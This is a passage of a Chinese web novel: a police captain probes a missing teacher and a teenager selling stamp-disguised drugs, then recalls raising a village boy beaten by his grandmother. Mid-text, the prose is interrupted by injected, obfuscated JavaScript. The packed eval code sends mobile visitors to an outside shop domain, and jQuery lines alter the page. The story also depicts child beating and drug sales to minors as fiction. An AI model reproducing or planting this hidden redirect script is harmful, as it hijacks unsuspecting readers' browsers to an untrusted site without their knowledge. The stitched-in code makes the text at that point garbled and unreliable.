武厉枭刚从桑家离开,没想到竟然接到了赵新民的电话:“厉枭,我想求你帮个忙。我的朋友桑学勤失踪了,我怀疑……他可能已经死了。” “好,你来局里找我,见面说。” 赵新民被武厉枭带进一间安静的接待室里,“新民,你认识桑学勤?” “认识,我俩是大学同学,又一起考研的,没想到毕业还能考到一起去,真是有缘。” “桑学勤现在失踪了,你知道吗?他离开了康养中心,也没回家。” “学勤以前说过,他要过背包客生活,背起行囊到处旅游,写文章拍照赚稿费,没钱了就送送外卖,有钱了就辞职出去玩。但这次失踪,我觉得……凶多吉少……” “他经济条件如何?” “不怎么好,家里就靠他爸一个人挣钱,如今五十岁了,还在建筑工地搬砖。他妈妈不挣钱的,脾气还不大好。学勤跟我一样,是个得不到温暖的可怜虫。” 武厉枭心中一动,“为啥这么说?” “因为我们生活在别人的否定中。” “否定?” “对。我们性格内向,不会交朋友,嘴不甜,不会哄女孩子开心,自然也没什么人缘。但是有的人,比如他帅,有品味,有才艺,自带光芒,即使他不去巴结,自然有人喜欢他。我们这种人,即使努力迎合,也没人喜欢。” “桑学勤是个自卑的人吗?” “对,他和我一样自卑。从大学起,我俩关系就不错,一起聊天时,学勤总说:新民,你比我强多了,至少你家条件好,你父母和姐姐支持你,喜欢你。我家条件差,爸爸妈妈总是否定我那个。” “为啥要否定他?” “厉枭,你从小就优秀,你很难理解我们这种小透明的人生。我们活在别人的否定中。比如小时候你救我那次,大家都在赞美你英勇,都在批评我惹是生非。其实我不明白,我没有招惹那狗,它来攻击我,就因为我买了一根烤肠,我就惹是生非了?每次我相亲不成功,我就是全家指责埋怨的对象,父母逼着我复盘跟对方说的每一句话,我姐在一边冷嘲热讽。他们从我的言谈举止到衣着到说的每句话都挑剔出一大堆毛病,然后得出个结论:我这个人从头到脚一无是处,活该被嫌弃。学勤也是这样,别人大学时过得都很轻松,就他,每次考试都非常紧张。他总说,一旦没考好,没拿奖学金回家,父母就会把他从头骂到尾,连他不是第一批入少先队的事都会拿出来再骂一遍。最后得出个结论:你是个彻头彻尾的废物。” “桑学勤失踪了,有人怀疑,他与另一起失踪案有关。” “你觉得我会是一个罪犯吗?” “不会。” “学勤也不会。” “为啥呢?” “学勤有严重的社交恐惧症。” “社交恐惧症?” “对。我们刚入大学的时候,宿舍里有四个人。那两个男生每天同进同出,我和学勤就各干各的,独来独往。后来,我发现学勤有个特点,他会和我去同一个地方,但不会和我一起走,不和我坐在一起,不和我一起吃饭。有一次我就主动坐到他身边,我问他:我十一点半下楼吃饭的,你十一点三十五下楼,也来食堂吃饭。你为啥不提前五分钟跟我一起吃饭?他说:他怕我拒绝他。他跟我解释,说他不是癞皮狗。他只是想不远不近地在我旁边,这样班里那些人就不会说他没朋友,不会欺负他。我问他:有人欺负过你吗?他说他读高中的时候,就因为自己一个人去上厕所,打热水,买晚饭,班里就有人说他没有朋友,人品不好,就合伙欺负他。我就跟他说:那以后我们一起吃饭,一起去图书馆学习吧。他就特别高兴,家里条件不好,还给我买生日礼物。他说我是对他最好的人。” “这么说,桑学勤是个可怜人。” “后来,我和学勤一起读了研究生,毕业后又考到同一所学校。因为不在一个办公室,工作又很忙,我们彼此顾不上聊天。我只听很多人说学勤很怪,他总是躲着所有人。我也不爱跟别人打招呼,学勤呢,大老远看到同事和领导就躲着走。有一次见到我都躲。我问他怎么了?他说他刚来的时候给办公室每个人都发了一个苹果,还天天擦桌子搞卫生。但是班里学生调皮,一犯了错,那些老教师就阴阳怪气地指责他没管好。他想严管学生,批评得稍微严厉一些,那些老教师就说他没耐心,校领导知道了也说他不注重工作方法。但他不严厉呢,没管住学生,那些老教师又看笑话。学生运动会跑步摔一跤,他就被校长批评,被家长指责,被老教师嘲笑。他说自己不是来教书的,就是来背锅的。” “那些人也太过分了!” “学勤带的班是中途接手的,成绩不好,学生们无心向学。学勤刚参加工作,没有经验,带不好也在意料之中。学勤总跟我说,他不明白为啥学生成绩不好,校长骂班主任,不该骂学生们?为啥学生违反纪律,校长骂班主任,不骂学生。为啥那些老教师,一看到别人班上的学生犯错误了,就站在道德角度指责班主任。明明他们自己的班,也有很多问题。为啥就因为他们班的垃圾桶有垃圾,校长骂他,老教师也骂他?为啥校长一个上午检查五回他们班的垃圾桶。其实以前学勤爱看书,爱画画,爱吹笛子,除了不爱说话,也是个爱好广泛的人。但是有一次,我发现晨会时他一个人蹲在学生后面,他们班的学生无论怎么闹腾,他也不管一下。那个时候我就知道,学勤有点不正常了……我跟他打招呼,跟他说话,他也躲开我,说话有气无力的:对不起,新民,我现在没有力气跟你说话。那个时候学勤暴瘦,瘦得跟骷髅架子似的。” “你的意思是,桑学勤是被逼的?” “后来,学勤他们办公室里的人说,他经常崩溃大哭。下班后不走,把教室的凳子摞在一起要上吊。学勤去请病假,校长让他去找各部门签字。学勤说:给你五分钟时间,自己签好字,给我送过来假条。后来,学勤提出调动工作,没调成,又检查出了抑郁症。学勤得病了,校长让我们不要议论,说如果外校来问,就说学勤家里的事导致的。开全校大会时,教育局领导说各位中层、校级领导都要注意,一线老师哪里没做好,要教人家,而不是张嘴就骂。” “新民,据你所知,桑学勤能去哪儿呢?他在外地有亲戚吗?” “有,据我所知,学勤在睢市有个舅舅。但他说小时候父母把他寄养在外婆家,舅舅对他不好,他们多年不来往。学勤应该不会去。也怪我,没能好好陪他……” 赵新民离开后,陆军平说:“队长,康养中心传来消息,桑学勤本月十二号自行办理了出院手续,离开了康养中心。他在康养中心表现很正常,按时吃饭睡觉,也不跟任何人发生冲突。就是有些内向,从不参加集体活动。” “康养中心以老年人居多,他年轻,自然不爱和老年人一起玩。他一个月费用多少?” “四千块钱。” “那是不便宜。他家那样的条件,是不一定住得起。军平,你查一下火车高铁的购票记录有没有桑学勤的。” “是。” 易学友从学校回来,把情况汇报给武厉枭,“队长,辛子诚这小子可真不是啥好东西!他的老师们说,他打掉过别人牙,用砖头砸到过别人头,他连他妈都打过,把他妈眼镜打坏了。至于说他身边跟他矛盾最大的,是几个孩子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849731|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 易学友拿出照片依次挂在白板上:“小范,男,十四岁,是隔壁班的孩子,两个人一起在学校篮球社团上课,因为打架,辛子诚被开除了。小范还找过校外的人殴打辛子诚。还有这个小常,个子小,脑子笨,十四岁了还不知道自己的生日,经常被辛子诚打,一挨打就找校医。还有这个女生小诗,跟学校里的高中生谈恋爱,也因为跟辛子诚有矛盾,叫她男朋友打过辛子诚。这个小西和辛子诚矛盾最大,他那次追着打辛子诚,辛子诚妈妈用电动车载着辛子诚,把小西打着自家孩子,就甩电动车后尾,把小西扫到马路旁边的地沟去了。” 武厉枭道,“这几个孩子都正常上学吗?” “小常没来,他请假了。” 武厉枭拿出桑学勤和辛子诚的照片来进行对比,“你们看,桑学勤,26岁,175公分,体型很瘦,如今又得了抑郁症,他大学时的体育考试都是勉强及格的。而辛子诚虽然只有16岁,也175公分,打架经验丰富,又是校篮球队的,两个人谁能绑谁呢?” “队长,你是说,桑学勤并没有作案能力?” 武厉枭道,“一个穷凶极恶的绑匪,以谋财和报复为目的的,会在一开始就留言不得报警,会打电话威胁恐吓,甚至会寄肉票的手指头来。辛父辛母说辛子诚被桑学勤绑架,可他并没有打勒索电话来呀。这个案子,从一开始就不是绑架案。而是一起,贩毒案。” “贩毒?”众人面面相觑。 武厉枭拿出几张邮票形状的画片,“你们看,这是什么?” 李大刚拿起来闻了闻,“一种叫邮票的伪装毒品。” “对,我在走访辛子诚语文老师时,她说辛子诚和同学关系好转,因为他热爱集邮,往学校带过邮票。我想:一个爱打架,暴躁,不爱学习孩子怎么可能有如此文雅的爱好了?我就找到了几个跟辛子诚走得近的孩子,问他们辛子诚有没有带过邮票,他们都矢口否认,如临大敌一般。但经过我一诈,他们说辛子诚的邮票会藏在某个只有他自己知道的角落里,要他们拿钱买的,一个十块钱。那邮票有特殊香味。我就翻了翻厕所水箱和体育器材室,果然找到了这几个邮票。刚才法证那边验过了,有辛子诚指纹。我也叫了几个辛子诚的同学来看,他们说:这的确是辛子诚卖给他们的邮票。” 魏三有道,“国家反毒品的公众号里早就警示过了,毒品会以邮票,零食等方式出现在未成年人面前。没想到,辛子诚竟然因此敛财。” 武厉枭道,“我的直觉告诉我,桑学勤的失踪跟辛子诚贩毒有关,搞不好,他知道辛子诚贩毒的事……” 讨论还在滔滔不绝地进行着,没人觉得已经到了晚上七点多钟了。直到门卫大爷打来电话:“武队,你弟弟给你送饭来了,麻烦你下来接一下。” 武厉枭连忙来到传达室,只见苏晏清带着四个保温饭盒等她,不由得心中一暖,“宝宝,今天怎么想起给姐姐送饭了?” “今晚是我做的菜,有咖喱黄焖鸡和啤酒卤蛋,还有山药木耳炒荷兰豆和西芹百合。我特意送过来给你尝尝。嗯……还有……”苏晏清的脸上一红,“还有……红糖姜茶……” 武厉枭的脸也红了,这几天正是她的经期。因为长年的高强度工作,她每到经期必血崩,有时甚至半个月都不会结束,全靠苏晏清的红糖姜茶来调养。 “怎么送来这么多菜啊?我一个人哪里吃得完?” 苏晏清笑道,“姐姐,我知道你肯定会分给你的同事们吃,就特意多做了一些菜。” “宝宝真乖!”武厉枭叫魏三有和李大刚下来把食盒提上去,二人一看到苏晏清不由得愣住了,“这不是……那个……做枣花馍的……” 武厉枭笑道,“是我弟弟,来给我送饭的。知道为娘我得管你们这帮饿痨鬼的饭,特意送来这么多好吃的。” “哎呦,老弟太够意思了吧!”魏三有笑道。李大刚拍了他一下,“义母的弟弟,这得叫老舅呀!” “对对对,谢谢老舅。” “二位哥哥可千万别这么说,多谢你们支持我姐的工作。我就不打扰你们了,姐姐,忙完了早点回家,我给你煮宵夜吃。” “好,谢谢宝贝!” 苏晏清走后,魏三有和李大刚双双斜眼吊炮地瞅着武厉枭,“义母,这么多好吃的,这哪是老舅啊,这高低得叫声义父呀!” “滚犊子!” 魏三有夹了一只啤酒卤蛋,“义母,怎么跟黄奶奶做的不是一个味儿?” “是我弟做的。” 李大刚笑道,“义母,你这弟弟真没白养!” 武厉枭给他夹了一筷子鸡肉,“吃吧!吃都堵不住你嘴!” 25. 望口村的新年 晚上十点,武厉枭一回到老宅,就一头钻进苏晏清的房间里,一句话也不说,直接抱住了他,把头埋进他胸前。 “姐姐,怎么了……”苏晏清担忧地摸着武厉枭的头发,“谁欺负你了?” “宝宝别说话,让我抱抱你,汲取点儿能量……” 苏晏清不再说话,也静静地抱着怀中的姐姐,轻轻地抚摸着她的背,像抚摸着一只受伤的猫儿。武厉枭听着他强有力的心跳声,如鼓乐一般,惬意地闭上了眼睛,久久不作声,似乎在享受一场酣甜的梦境。 良久,武厉枭才从苏晏清的怀抱里挣脱出来,“吓到你了吗?” “没有,姐姐,你怎么了?”苏晏清关切地拉着她坐下,“是不是太累了?” 武厉枭把头靠在苏晏清肩上,“今天,老局长退休了,我还在外面跑案子,没能送他……你知道那种感觉?我刚来报到的时候,就是他接待的我。他教了我很多,那个时候,我像个愣头青似的,都是他替我遮风挡雨。我以为他能永远像棵大树似的屹立不倒。可今天,他退休了……” “姐姐,我明白的……”苏晏清握住她的手,“人总要……被迫长大……” “晚上我回局里的时候,老局长的办公室空了,我突然觉得心里空了。我觉得有他在我可以一直当小孩子,现在,却要被逼着当大人了……” “姐姐,你早就是个大人了,一个能独当一面的了不起的大人。” “宝宝,答应我,不要太努力地读书,你还小,还在上学,每天快快乐乐无忧无虑地就可以了。每天早上一睁眼睛,就和朋友们一起出去玩,去公园里看风景,划船,爬山,游泳……等你长大了,你就知道那种一睁开眼睛,不用面对血腥、罪恶、死亡、离别的日子有多好吗?” “姐姐……”苏晏清心疼不已地把武厉枭拥在胸前,“我已经长大了,你要的那种生活,让我给你好不好?我……我保证不了你不用面对死亡和罪恶,但我能保证,你加班的时候,有人给你送饭,你不用饿肚子……你回到家后,有人抱着你,陪你说话,给你按摩,给你热牛奶,让你卸下一身疲惫……” 武厉枭揉了揉着苏晏清的脸,“宝宝,你这么贴心懂事,姐姐会死的……” 苏晏清吓了一跳,“为什么?” 武厉枭“噗嗤”一声笑了出来,“被你活活乖死,可爱死!可是……我舍不得你做这些,你该有自己的生活……” “不,”苏晏清赶紧打断她的话,“我只有姐姐……一辈子……下辈子……只有姐姐一个人……” 武厉枭拿起苏晏清纤长劲瘦的手,莹白如玉,指节和指甲都如桃瓣般粉红。她奇怪地把手掌和苏晏清的掌心贴在一起,发现自己的每一根手指都短了一寸多,“宝宝,你的手……什么时候这么大了……我记得……你只能握住我一根手指的……你怎么这么快就找大了呢?我还没带你买过练习册呢!我还没给你陪你过过儿童节呢!你怎么就长大了呢……姐姐不在,你孤零零的一个人,谁来照顾你呢……” 苏晏清把武厉枭的手贴在自己脸上,“姐姐,你好好看看我……我是个185公分的男人了……一个有雄性荷尔蒙的正常男人……” 武厉枭捧起他的脸,笑道,“你从小就漂亮,我外婆说你小脸蛋像熟透的杏儿似的,粉白里透着红。每次我抱你出去,都提心吊胆地看着村里的叔叔大爷们,不让他们亲你。他们抽烟的,嘴巴臭死了……” “那你呢?你会亲我吗?” “会呀,”武厉枭的手指轻轻滑过苏晏清的额头,眉骨,鼻梁,嘴唇……“我亲你,你就笑。你小时候,还会把小脚丫举给我:姐姐,闻闻我的脚臭不臭?我就假装闻一下,说不臭,就是有点酸。你就咯咯咯笑个仰倒。你睡着的样子更可爱,小嘴巴粉嘟嘟的。我就躺在你旁边看你,亲你的小脸蛋,亲你的小胖手,亲你的小肉胳膊,亲你的小脚丫,亲你的小屁股。外婆就说我,等下弄醒了,弟弟会哭的……” 小小的苏晏清没有寒暑假的概念,只知道快过年了,姐姐会来。开化了,姐姐又走了。天热了,姐姐会来。天没那么热了,姐姐又走了。他经常趴在苏家那破烂兮兮的木头窗棂上一遍遍地问:“奶奶,姐姐什么时候回来……奶奶,河边的鸭鸭又下蛋了,姐姐说要给我做糖蛋蛋……奶奶,前几天姐姐还给阿婆打电话了,说要给宝宝带鱼肉卷……奶奶,姐姐说等她冬天回来,给宝宝串糖葫芦吃……” 苏老婆儿不耐烦道,“你眼睛快黏在吴家大宅门上啦!” 苏晏清皱着小眉头道,“姐姐前几天还给阿婆打电话了呢,奶奶,姐姐有没有想宝宝?” “没有!”苏老婆儿没好气道,“人家忙着上学,哪有空想你!”其实她知道,吴老太太为啥武厉枭打来电话时,不叫苏晏清来接听,就是怕他一接到姐姐的电话更伤心,哭起来没完没了。 “才没有呢!”苏晏清不服气地撅起嘴巴,“姐姐最喜欢宝宝啦!姐姐说让宝宝好好吃饭,长得高高的,壮壮的。她一放假就回来看宝宝……”他说着说着,嘴巴一扁,竟哭了起来,“我要姐姐……姐姐……” “哭?天天他妈的哭!不知道的以为你奶死了,给你奶号丧呢!小白眼狼!”苏老婆儿拍了苏晏清屁股几下,怕他哭得更厉害招来吴家人呲哒她,只得咽下这口气不予理睬,寻摸些老头子和儿子的晦气出出气。她把喝大了的苏家老酒鬼从炕上薅起来,“滚起来!喝得一天跟他妈红眼耗子似的,人家都疯你也不疯!一天瞎逼乎乎的,那碗架柜坏多长时间了,也不修!夹我手都夹好几回了!滚过来,修柜门!” 苏家老酒鬼不敢吭声,爬起来拿出锤子,苏老婆儿找到坏的地方扶好钉子,让老酒鬼钉。谁知老酒鬼手一颤,冷不防竟砸到苏老婆儿手上了,气得抡圆了一个大脖溜子扇过去,“你他妈瞎呀!” “我也不是故意的!” “你喊着点,提醒我一下子,钉之前!” 苏家老酒鬼无奈,又一次拿起锤子,拉长了声音敲一次叫一句,“老婆子,躲钉啊……老婆子,躲钉啊……老婆子,躲钉啊……” “喊他妈啥呢!”苏老婆儿更气了,“咣”一脚踹苏家老酒鬼一个仰倒,“啥玩意儿我躲钉啊,我他妈进棺材呀!你是不是心眼子不好使?一天懒得□□子都能爬蛆,我把你塞棺材里,让你个老瘟灾的躲钉……” 渐渐的,苏晏清似乎想姐姐想得入了迷,每天都要去吴家大宅门口站一会儿,逮着个人就问:“阿婆,姐姐回来了吗……王婶婶,姐姐回来了吗……王叔叔,姐姐回来了吗……” 吴老太太怕他做下心病,就把他抱进屋来,“清宝,你姐姐在城里上学,回不来。” “阿婆,那我可以去城里找她吗?我保证会乖乖的,不耽误姐姐学习。” “不行啊,你还太小,没法坐车。”吴老太太把他抱进武厉枭的房间,“这里有你姐姐的书和玩具,你在这儿玩会儿吧,好不好?” 苏晏清摇摇头,“姐姐不在,我乱动她的东西,她会不高兴的。” 吴老太太欣慰地笑笑,“那阿婆给你拿点心吃,好不好?” 苏晏清小脸绷得紧紧的,认认真真地半鞠了一个躬,“谢谢阿婆,点心留给姐姐吃吧,姐姐一个人在城里读书,太累了……” 苏晏清回到家里,翻来覆去地躺着睡不着觉,他突然想起来一件无比重要的事——自己的衣服、水杯、糕糕、糖糖都是姐姐给的,自己还从来没送过什么东西给姐姐!可是,自己有什么东西能给姐姐呢?姐姐家的大人都那么有钱,而自己又那么小,家里又那么穷…… 一到了晚上,苏晏清就闹着要奶奶给他洗澡,“姐姐说宝宝要干净。” “姐姐说姐姐说,你就知道姐姐说!”苏老婆儿不耐烦道,“家里天天那么多活,哪有空给你洗澡,怪累的!” 苏晏清哭开了,“宝宝不洗澡澡,臭臭的,姐姐该不喜欢我了……” 苏家老酒鬼正喝得五迷三道的,听到孙子哭不由得心烦,埋怨起苏老婆儿,“大晚上的招得他鬼哭狼嚎的干啥!他要洗你就给他洗呗……” “放你娘的罗圈屁!”苏老婆儿一拍桌子,指着苏家老酒鬼的鼻子破口大骂,“你当像吴家呢,有热水器,有暖气,打开水龙头就能洗澡?咱这破屋子,洗澡要点炉子烧热水不说,这屋里这么冷,冻着了怎么办?你有那个钱给他看病吗?要了你个老王八蛋的嘎拉哈!操你妈了个逼的!” 苏晏清听到奶奶发脾气骂人,哭得更大声了,“哇哇哇……我要姐姐……我要姐姐……” 苏老婆儿心头火起,“啪”地摔了一个碗,揪着苏晏清往他身上下死劲地拍了几下,“让你要姐姐!让你要姐姐!你个小白眼狼!我今儿非打死你不可……” 苏家正闹得沸反盈天时,吴家老太太带着王婶婶赶了过来,把哭成了泪人的苏晏清抱了起来。吴老太太气愤不已,“他苏婶儿,小孩子不好,你慢慢教就是了,这么打孩子,万一打坏了怎么办?” “阿婆……”苏晏清搂着吴老太太的脖子抽噎道,“宝宝要洗澡……奶奶就打宝宝……姐姐说……宝宝要洗澡澡,干干净净……” “是吗?就为了洗澡?”吴老太太的眼风威严地扫过,“他苏叔,你就看着孩子挨打?” 苏家老酒鬼慢腾腾地起身下炕,“老太君,您别问我呀,我一个大酒懵子,我啥也不知道。” 苏老婆儿犹自怒气未消,“老太君,您是不知道这孩子多气人,这么冷的天,非要洗澡,冻感冒了怎么办?家里哪有那个条件给他洗澡,我这家里家外的全指着我,一个酒鬼一个赌鬼,一个疯子,就我一个全合人……” “行了!”吴老太君皱眉道,“今晚晏清我抱回去,他王婶给他洗澡,晚上跟我睡。以后晏清每隔一天我让他王婶抱过去洗一个澡,洗完送回来。” “谢谢您谢谢您……”苏老婆儿忙鞠躬道谢,苏家老酒鬼也打着酒嗝道谢,“老太君,您是救苦救难的观音菩萨,您让我给您磕一个……” “我有个要求,以后你们家不许打孩子,不许打媳妇,我再听到你们家打人,一定报警,听到没有?” “是是是……”苏老婆儿的腰弯成了九十度,“您放心,我不敢了,不敢了……” 吴老太太和王婶婶刚把苏晏清抱走,苏家老酒鬼就安逸得伸了个懒腰,“妈呀!可算走了!这小祖宗,自打枭枭回城上学,就天天哭夜夜嚎的,做梦都要姐姐。妈的,吵得老子夜夜睡不好觉!” “闭死你那个臭嘴!”苏老婆儿一拍炕沿,“老话儿说,伺候一个奶娃娃等于伺候五亩地!谁家奶娃娃夜里不哭闹……算了,你个死酒鬼知道个屁!你哪有心?你那点儿臭烂下水早让狼掏了!” 苏家老酒鬼不敢作声了,蒙个被子装睡。苏家赌鬼解手回屋,边系裤子边嬉皮笑脸道,“老妈,吴家那么稀罕晏清,要我说,干脆让晏清认吴家个干亲。以后让他管吴老太君叫外婆,管枭枭叫姐姐,管枭枭的爸妈叫干爸干妈,以后啊……嘿嘿……说不定咱家清宝也能沾吴家的光,去城里读书呢……” 苏老婆儿气得抡圆了巴掌扇到苏家赌鬼脑门子上,“我操你妈!卖儿子呀!操你妈逼的……” 后来,他知道每次那个又黑又亮的小轿车进村,就会把姐姐带走。他搂着姐姐的脖子死活不肯撒手,哭着让姐姐不要走,要跟姐姐一起坐车车。 “姐姐,你还没带宝宝去麦麦上坐船船呢……” 姐姐没办法,只能哄他,“宝宝不哭,姐姐亲亲小脸蛋……亲亲小鼻子……亲亲小手手……亲亲小胳膊……”还不忘嘱咐苏老婆儿,“苏奶奶,我昨天给你的金桔药橙酱收好了没有?” “收好了。” “那是我和王婶婶一起给清宝熬的,他肺气弱,天一转冷就爱咳嗽,记得他咳嗽时就用热水化开一勺给他喝。那酱酸酸甜甜的,比药片好吃。” “是是是……谢谢枭枭,谢谢他王婶……” “还有啊,清宝要天天洗脸洗脚洗屁股,他的盆要单独用。” “好好好……我肯定不让我家那两头死鬼碰孩子的盆……” 吴家舅舅焦急地看了看手表,“枭枭,待会儿赶不上火车了……” 吴家阿婆瞪了他一眼,“催什么催!枭枭好不容易给清宝哄好了些,待会儿又给惹哭了……” 天上飘起了白亮亮的雪花了,那辆黑漆凄的大车车又开到了吴家大宅,发动机的轰鸣声吵醒了还在睡梦中的苏晏清,“姐姐!”他赶紧跳下了炕,趿拉着鞋跑了出来,扑向刚下车的武厉枭,“姐姐……” 武厉枭赶紧抱起他亲了亲脸蛋,“宝宝想姐姐了没有?” “想了,头头想,肚肚想,哪里都想!” 武厉枭亲昵地把鼻子凑近苏晏清的小鼻子蹭了蹭,“宝宝,你可爱得要人命!””她把那小肉团子抱进温暖如春的客厅里,吴家大宅里的每个房间都有柜式空调。武厉枭扯过羊绒毛毯给苏晏清裹起来,又打开书包像变戏法似的拿出一样一样的好东西来,“看姐姐给你戴了什么?这是巴达木、这是甜杏仁、这是开心果、这是黄油大饼干……” 苏晏清乐不可支道,“是要留着过年吃吗?” “不是,你想吃的话,随时可以!”武厉枭拿出一枚奶片塞到他嘴里,“好不好吃?” “嗯,好吃,”苏晏清点点头。武厉枭摸了摸他的头,从拉杆箱里拿出了一套明黄色缎面对襟瑞兽宝相花棉袄棉裤。“这是我妈妈给你的,外婆说你都三岁了,过年还没穿过新衣服呢。今年该上幼儿园了,要穿套好衣服。我妈妈是卖衣服的,就给你准备了这套拜年服,姐姐的箱子里还有好几套给你的小衣服呢!你喜欢不喜欢?” “喜欢喜欢。”苏晏清拍手笑道,“宝宝现在就要穿。” “别急,还有小鞋子呢,老虎头的小鞋子……” 二人正说着,苏老婆儿忙三火四地闯将进来,见到武厉枭先陪个笑脸,“枭枭回来了……”又瞪着苏晏清,“刚睡醒就野跑过来,赶紧回家,看你爸待会儿耍钱回来不骂你的!” 苏晏清吓得往武厉枭身后一缩,带着哭腔道,“姐姐,我不回去……” 武厉枭忙护住了他,慢慢地站起身直视着苏老婆儿道,“苏奶奶,我刚回来,好几个月没见到清宝了,今晚他就不回去了,在这儿陪陪我,好不好?” 苏老婆儿赶紧垂下眼睛,不敢看她,“我怕这孩子不懂事,给你捣乱……” “不会,清宝很乖的,今晚他跟我睡,我们姐俩儿好好亲香亲香。对了,刚才外婆还说快过年了,让王叔叔给你们家送几斤鸡蛋,这会儿怕是快到了吧?你要不要回去看看?” “是是是……我马上回去……”苏老婆儿不放心地回头看着苏晏清,“听话啊,别惹姐姐生气……” “没事,我妈妈给清宝准备了过年穿的小衣服小鞋子,晚上我给他洗完澡穿上。”武厉枭不再看苏老婆儿,只端坐在沙发上,把苏晏清放到膝盖上,“今晚让姐姐好好稀罕稀罕你,好不好?” “好,”苏晏清笑得眼睛眯成一条缝,“穿新鞋鞋……” “姐姐……你现在……还愿意……亲我吗……”十九岁的苏晏清拥着武厉枭,把嘴贴近她耳畔,“你信不信,小时候你亲我,我会笑……现在你亲我,我会哭……” 苏老婆儿臊眉耷眼地唯唯诺诺走了,路上遇到村里的女人们,还受了好一顿排揎,“苏老婆儿,去吴家接晏清了?又没接回来吧?挨了一顿臊皮吧?哈哈哈……” “枭枭不在的这几个月,晏清黄皮寡瘦的,顿顿棒子面汤。这回好了,枭枭回来了,晏清又白胖了……” “就是,苏老婆儿,要说吴老太君没少给你家吃的用的,咋还能把孩子养得黑黄黑黄的……” “也不知道你家四个大人,咋还带不好一个娃娃。枭枭一个小孩子都能带好,带得跟年画娃娃似的……” “嫂子,你说差了,他们家不是四个大人,是两个人两头鬼,一个酒鬼一个赌鬼……哈哈哈……” “哈哈哈……我看吴老太君送的那些吃的用的,不是变成酒鬼的酒肴,就是变成赌鬼的赌本了……” “哈哈哈……姐呀,你说得对,咱村就属他们老苏家最会享福,把自己家的孩子送到那大宅门里去养,省力省心又省嚼谷儿……” “啧啧啧,你是没见呢,咱们的娃娃,平时赶集的时候吃个花生蘸糖葫芦就算过年了,他家晏清在吴家大宅里,什么美国的杏仁,日本的糖块,一把一把地往嘴里塞……” “大妹子你是不知道,俺家娃娃喝的牛奶,都是隔壁村老王头家的奶牛挤的。那天俺看到晏清在吴家大院里喝的奶粉,妈呀,奶粉罐子上全是外国字。哎呀呀,啥人啥命,羡慕不来……” “就是,都一个村住着,咱不知道怎么他家晏清就那么香……我家狗蛋那天去吴家大宅门口看嘴,说枭枭姐姐喂晏清吃羊肉馅饺子,看见他站在那儿眼巴巴的,也给他盛了一碗。他回家后说啥也不吃俺家酱缸里捞的芥菜疙瘩了,说那羊肉馅饺子,一咬一口鲜汁儿……” “俺家铁柱也是,整天跑到吴家大宅门口看嘴,回来就跟我闹,说晏清吃的叫什么……什么饼……回家就闹着要!我没办法了,烙了个鸡蛋油饼给他。他又不肯吃,说里面没有那种白白的滑滑肉,气得我去找村长问,啥叫白白的滑滑肉,村长说:那是生蚝,城里才有的金贵玩意儿……” “哎呀,他二姐,你一说这个我又想起来了。我家秀儿那天回来跟我要个小筐,说要到田里逮蛤蟆吃,给我气得差点揍她!蛤蟆咋能吃!有毒的玩意儿!她说晏清在枭枭姐姐家吃了蛤蟆,她也跟着吃了半碗,那蛤蟆腿儿肉肥,好吃!我跟她说:那是吴家大姑奶奶从城里送来的金贵玩意儿,一般人吃不到……” “我家那个傻蛋更招笑儿!说那天在吴家大宅院里看到晏清吃甜粑粑……哈哈哈……还问我:妈妈你会不会拉甜粑粑!我笑得不得了,说这孩子馋傻了?粑粑还有甜的?他说他看到晏清拿个小碗,吃那种又黄又黏又臭的东西,比粑粑还臭,就说晏清吃粑粑。晏清哇的一哭,枭枭姐姐出来哄他,看到我家傻蛋,就给傻蛋盛了一碗。傻蛋说头一次知道,粑粑也有甜的!我没办法了,去问村长的儿子,就是村小的陈校长,让他训了我一顿:我就说你们当大人的没事读读书看看报,一天啥都不知道,那是城里的金贵水果,叫……叫个啥莲……反正他说了我也没记住!我没招了,回去骂了傻蛋一顿,让他不许再去吴家大宅看嘴。又骂了我家那死鬼老爷们儿一顿,整天就知道在村口跟人家抽烟下棋,不知道琢磨琢磨多挣两个钱,给孩子填乎填乎嘴……” “我家花儿也是,那天让她去挖野菜,回家就跟我说:枭枭姐姐用吴家大院里的茉莉和玉兰编了个那么大的花篮给晏清挎在手腕上,她看着也想要,枭枭就给她串个手环戴着。我说有个手环你就知足吧。花儿又说:晏清的衣服上有个毛绒绒的小白猫,裤子上有小白兔,可好看了。让我也在她衣服裤子上缝小猫小兔,我上哪儿给她缝小猫小兔去……” “我家小梅,活活气死个人,说那天她听到吴家大宅里有人哼哼曲儿,就过去一看——晏清在院里玩一个小木头盒,木头盒会唱曲儿,盒里还五个穿红裙的小女孩会跳舞。她也想玩,就管晏清要。谁知道他家晏清倒护食上了,说这是姐姐的东西,不能给别人碰,怕碰坏了。我家小梅虽说小,也知道不能惹吴家人,就哭开了。枭枭一听到有人哭,就拿了几块糕点果子什么的给小梅打发走了……嗨呀,这我家小梅可做下病了,天天找她爸闹,找我要会哼哼曲的小木头盒,要穿红裙会跳舞的小人。我上哪儿找去!烦死人了……” “我家小虎那天也说,晏清玩枭枭姐姐的海螺,海螺里能听见大海的声……还说晏清在吴家大院里骑个通红通红的小车,可威风了……对了,那天他说晏清吃的有金纸包的巧克力,他也要吃。我去小卖店给他卖,他说味儿不对,没有金纸,还没有花生粒儿。也不知道晏清吃了啥神仙吃食,整得我们家小虎五迷三道的……” “哎呦喂,说起来呀,你苏老婆儿有福,生了个金孙,入了吴老太君的眼……” “我就纳了闷,就算晏清俊着些,有爱人肉,也是沾了他家媳妇的光……” 